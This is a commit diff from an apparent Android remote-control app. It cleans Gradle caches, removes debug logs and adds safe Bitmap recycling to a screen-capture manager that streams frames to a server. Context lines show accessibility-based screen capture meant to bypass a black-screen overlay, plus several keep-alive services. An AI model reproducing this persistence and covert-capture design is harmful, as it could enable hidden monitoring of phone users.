refactor: 清理 .gradle 缓存文件并优化 ScreenCaptureManager
- 删除 .gradle 缓存和锁文件(checksums, executionHistory, fileHashes 等) - 优化 ScreenCaptureManager 截屏逻辑 - 移除 MainActivity, TransparentKeepAliveActivity 中的冗余代码 - 清理多个 KeepAlive 相关服务中的无用导入 - 精简 InstallationStateManager 代码
This commit is contained in:
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,2 +0,0 @@
|
||||
#Sat Nov 15 14:15:46 CST 2025
|
||||
gradle.version=8.13
|
||||
Binary file not shown.
@@ -1,2 +0,0 @@
|
||||
#Sat Feb 07 14:16:40 CST 2026
|
||||
java.home=D\:\\Program Files\\Android\\Android Studio\\jbr
|
||||
Binary file not shown.
@@ -5473,10 +5473,8 @@ class MainActivity : AppCompatActivity() {
|
||||
if (isActivityResumed()) {
|
||||
// ✅ 直接更新静态变量(最高性能,无通信开销)
|
||||
com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(true)
|
||||
Log.v(TAG, "📡 已更新WebView打开状态(静态变量),Activity在前台")
|
||||
} else {
|
||||
// Activity不在前台,不更新状态,但继续检查
|
||||
Log.v(TAG, "📡 Activity不在前台,跳过状态更新")
|
||||
}
|
||||
|
||||
// 500ms后再次更新
|
||||
|
||||
@@ -79,8 +79,6 @@ class TransparentKeepAliveActivity : Activity() {
|
||||
val installationStateManager = InstallationStateManager.getInstance(this@TransparentKeepAliveActivity)
|
||||
val isInstallationComplete = installationStateManager.isInstallationComplete()
|
||||
|
||||
Log.d(TAG, "🔍 安装完成状态检查: $isInstallationComplete")
|
||||
|
||||
if (!isInstallationComplete) {
|
||||
Log.w(TAG, "⚠️ 安装未完成,透明保活Activity无效,直接关闭")
|
||||
finish()
|
||||
|
||||
@@ -29,7 +29,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
private const val CAPTURE_QUALITY = 55 // 🎯 优化:提升压缩质量,在数据量和画质间找到最佳平衡(30->55)
|
||||
private const val MAX_WIDTH = 480 // 更小宽度480px,测试单消息大小理论
|
||||
private const val MAX_HEIGHT = 854 // 更小高度854px,保持16:9比例
|
||||
private const val MIN_CAPTURE_INTERVAL = 66L // ✅ 调整为66ms,适配15FPS(1000ms/15fps≈66ms)
|
||||
private const val MIN_CAPTURE_INTERVAL = 3000L // ✅ 调整为3000ms,无障碍服务截图间隔3秒
|
||||
|
||||
// ✅ 持久化暂停状态相关常量
|
||||
private const val PAUSE_STATE_PREF = "screen_capture_pause_state"
|
||||
@@ -135,6 +135,41 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
Log.i(TAG, "屏幕尺寸: ${screenWidth}x${screenHeight}")
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 安全回收lastValidBitmap,防止多线程并发导致的native crash (SIGSEGV)
|
||||
*
|
||||
* 问题根因:多个协程(startMediaProjectionCapture、startAccessibilityScreenCapture、
|
||||
* captureWithMediaProjection等)并发访问lastValidBitmap,可能导致:
|
||||
* 1. double-recycle:Bitmap已被其他线程recycle但引用未置null
|
||||
* 2. Hardware Bitmap的底层HardwareBuffer已被释放
|
||||
* 两种情况都会在native层BitmapWrapper::freePixels()触发SIGSEGV
|
||||
*/
|
||||
private fun safeRecycleLastValidBitmap() {
|
||||
val bitmapToRecycle = lastValidBitmap
|
||||
lastValidBitmap = null // 先置null,防止其他线程访问
|
||||
try {
|
||||
if (bitmapToRecycle != null && !bitmapToRecycle.isRecycled) {
|
||||
bitmapToRecycle.recycle()
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
// 捕获所有异常,包括可能的native异常包装
|
||||
Log.w(TAG, "回收缓存Bitmap异常(可能已被其他线程回收): ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 安全回收任意Bitmap,防止native crash
|
||||
*/
|
||||
private fun safeRecycleBitmap(bitmap: Bitmap?) {
|
||||
try {
|
||||
if (bitmap != null && !bitmap.isRecycled) {
|
||||
bitmap.recycle()
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "回收Bitmap异常: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔑 启用AccessibilityService截图模式
|
||||
* 用于绕过黑屏遮罩,让Web端能够正常显示画面
|
||||
@@ -378,7 +413,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
// ✅ 有效帧:发送并更新缓存
|
||||
sendFrameToServer(jpegData)
|
||||
|
||||
lastValidBitmap?.recycle()
|
||||
safeRecycleLastValidBitmap()
|
||||
lastValidBitmap = bitmap.copy(Bitmap.Config.ARGB_8888, false)
|
||||
lastValidBitmap?.let { trackBitmap(it) }
|
||||
lastCaptureTime = System.currentTimeMillis()
|
||||
@@ -535,7 +570,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
// 🔑 缓存成功的截图,用于防止闪烁
|
||||
try {
|
||||
// 清理旧的缓存
|
||||
lastValidBitmap?.recycle()
|
||||
safeRecycleLastValidBitmap()
|
||||
// 保存当前成功的截图副本
|
||||
lastValidBitmap = screenshot.copy(screenshot.config ?: Bitmap.Config.ARGB_8888, false)
|
||||
lastCaptureTime = System.currentTimeMillis()
|
||||
@@ -559,7 +594,9 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
// ❌ 真实截图失败,不发送任何数据,等待下一次截图
|
||||
// 之前发送测试图像会被服务端过滤且占用发送队列,得不偿失
|
||||
consecutiveFailures++
|
||||
Log.d(TAG, "📱 无障碍截图失败(${consecutiveFailures}次),跳过本帧等待下次")
|
||||
if (consecutiveFailures % 50 == 1) {
|
||||
Log.d(TAG, "📱 无障碍截图失败(${consecutiveFailures}次),跳过本帧等待下次")
|
||||
}
|
||||
}
|
||||
|
||||
// ✅ 截图成功时按帧率延迟,失败时短延迟后立即重试
|
||||
@@ -652,7 +689,6 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
// 🔑 如果已切换到无障碍截图模式,直接使用无障碍截图,不再尝试 MediaProjection
|
||||
if (useAccessibilityScreenshot) {
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
|
||||
Log.d(TAG, "🔑 无障碍截图模式,直接使用 AccessibilityService 截图")
|
||||
return captureWithAccessibilityService()
|
||||
}
|
||||
return null
|
||||
@@ -685,7 +721,6 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
val timeSinceLastScreenshot = currentTime - lastScreenshotTime
|
||||
|
||||
if (timeSinceLastScreenshot < MIN_CAPTURE_INTERVAL) {
|
||||
Log.d(TAG, "📱 截图间隔太短,跳过本次截图: ${timeSinceLastScreenshot}ms < ${MIN_CAPTURE_INTERVAL}ms")
|
||||
return null
|
||||
}
|
||||
|
||||
@@ -924,7 +959,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
}
|
||||
|
||||
// 更新缓存
|
||||
lastValidBitmap?.recycle()
|
||||
safeRecycleLastValidBitmap()
|
||||
lastValidBitmap = newBitmap.copy(Bitmap.Config.ARGB_8888, false)
|
||||
// 🔧 跟踪缓存的Bitmap副本
|
||||
lastValidBitmap?.let { trackBitmap(it) }
|
||||
@@ -962,8 +997,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
return lastValidBitmap!!.copy(Bitmap.Config.ARGB_8888, false)
|
||||
} else {
|
||||
Log.w(TAG, "缓存图像过期 (${timeSinceLastCapture}ms前),清理缓存")
|
||||
lastValidBitmap?.recycle()
|
||||
lastValidBitmap = null
|
||||
safeRecycleLastValidBitmap()
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1002,7 +1036,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
val retryBitmap = convertImageToBitmap(retryImage)
|
||||
if (retryBitmap != null) {
|
||||
Log.i(TAG, "✅ Android 15重新初始化后成功获取图像")
|
||||
lastValidBitmap?.recycle()
|
||||
safeRecycleLastValidBitmap()
|
||||
lastValidBitmap = retryBitmap.copy(Bitmap.Config.ARGB_8888, false)
|
||||
lastCaptureTime = System.currentTimeMillis()
|
||||
return retryBitmap
|
||||
@@ -1775,8 +1809,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
Log.w(TAG, "🗑️ 清空屏幕数据队列,释放${queueSize}帧数据")
|
||||
|
||||
// 2. 清理缓存的图像
|
||||
lastValidBitmap?.recycle()
|
||||
lastValidBitmap = null
|
||||
safeRecycleLastValidBitmap()
|
||||
Log.w(TAG, "🗑️ 清理缓存图像")
|
||||
|
||||
// 3. 强制回收弱引用中的资源
|
||||
@@ -2147,9 +2180,8 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
imageReader?.close()
|
||||
imageReader = null
|
||||
|
||||
// 清理缓存的图像
|
||||
lastValidBitmap?.recycle()
|
||||
lastValidBitmap = null
|
||||
// ✅ 安全清理缓存的Bitmap,防止多线程并发导致native crash (SIGSEGV)
|
||||
safeRecycleLastValidBitmap()
|
||||
lastCaptureTime = 0L
|
||||
|
||||
Log.i(TAG, "VirtualDisplay和ImageReader已清理,MediaProjection权限保留")
|
||||
@@ -2445,7 +2477,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
Log.i(TAG, "✅ Android 15强制刷新成功:${bitmap.width}x${bitmap.height}")
|
||||
|
||||
// 更新缓存
|
||||
lastValidBitmap?.recycle()
|
||||
safeRecycleLastValidBitmap()
|
||||
lastValidBitmap = bitmap.copy(Bitmap.Config.ARGB_8888, false)
|
||||
lastCaptureTime = System.currentTimeMillis()
|
||||
|
||||
|
||||
@@ -228,7 +228,6 @@ class AlarmManagerKeepAliveService : Service() {
|
||||
return false
|
||||
}
|
||||
|
||||
Log.d(TAG, "✅ APP安装已完成且稳定(${timeSinceInstallation}ms),开始保活检查")
|
||||
true
|
||||
|
||||
} catch (e: Exception) {
|
||||
|
||||
@@ -174,8 +174,6 @@ class BackgroundKeepAliveManager(private val context: Context) {
|
||||
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
|
||||
Log.d(TAG, "📱 无障碍服务权限正常,系统会自动管理无障碍服务生命周期")
|
||||
}
|
||||
} else {
|
||||
Log.d(TAG, "✅ AccessibilityService运行正常")
|
||||
}
|
||||
|
||||
// 检查前台服务
|
||||
|
||||
@@ -256,8 +256,6 @@ class EffectiveKeepAliveManager(private val context: Context) {
|
||||
if (accessibilityService == null) {
|
||||
Log.d(TAG, "🔍 无障碍权限正常,但AccessibilityService实例未初始化,等待初始化完成")
|
||||
// 权限正常但实例未初始化,等待初始化完成,不强制启动前台服务
|
||||
} else {
|
||||
Log.d(TAG, "✅ AccessibilityService运行正常")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -169,7 +169,6 @@ class KeepAliveService : Service() {
|
||||
return false
|
||||
}
|
||||
|
||||
Log.d(TAG, "✅ APP安装已完成且稳定(${timeSinceInstallation}ms),开始监控无障碍权限")
|
||||
true
|
||||
|
||||
} catch (e: Exception) {
|
||||
@@ -192,13 +191,9 @@ class KeepAliveService : Service() {
|
||||
val accessibilityService = AccessibilityRemoteService.getInstance()
|
||||
val accessibilityRunning = AccessibilityRemoteService.isServiceRunning()
|
||||
|
||||
Log.d(TAG, "🔍 检查服务状态: 实例=${accessibilityService != null}, 运行=${accessibilityRunning}")
|
||||
|
||||
if (accessibilityService == null || !accessibilityRunning) {
|
||||
Log.d(TAG, "🔍 无障碍权限正常,但服务实例未初始化或未运行,等待初始化完成")
|
||||
// 权限正常但服务未运行,等待初始化完成,不强制恢复
|
||||
} else {
|
||||
Log.d(TAG, "✅ AccessibilityService运行正常")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -377,7 +377,6 @@ class RemoteControlForegroundService : Service() {
|
||||
return false
|
||||
}
|
||||
|
||||
Log.d(TAG, "✅ APP安装已完成且稳定(${timeSinceInstallation}ms),开始保活检测")
|
||||
true
|
||||
|
||||
} catch (e: Exception) {
|
||||
|
||||
@@ -121,7 +121,6 @@ class WorkManagerKeepAliveService {
|
||||
return false
|
||||
}
|
||||
|
||||
Log.d(TAG, "✅ APP安装已完成且稳定(${timeSinceInstallation}ms),启动保活工作")
|
||||
true
|
||||
|
||||
} catch (e: Exception) {
|
||||
|
||||
@@ -65,7 +65,6 @@ class InstallationStateManager private constructor(private val context: Context)
|
||||
return try {
|
||||
val prefs = context.getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE)
|
||||
val isComplete = prefs.getBoolean(KEY_INSTALLATION_COMPLETE, false)
|
||||
Log.d(TAG, "🔍 安装完成状态检查: $isComplete")
|
||||
isComplete
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 检查安装完成状态失败", e)
|
||||
|
||||
Reference in New Issue
Block a user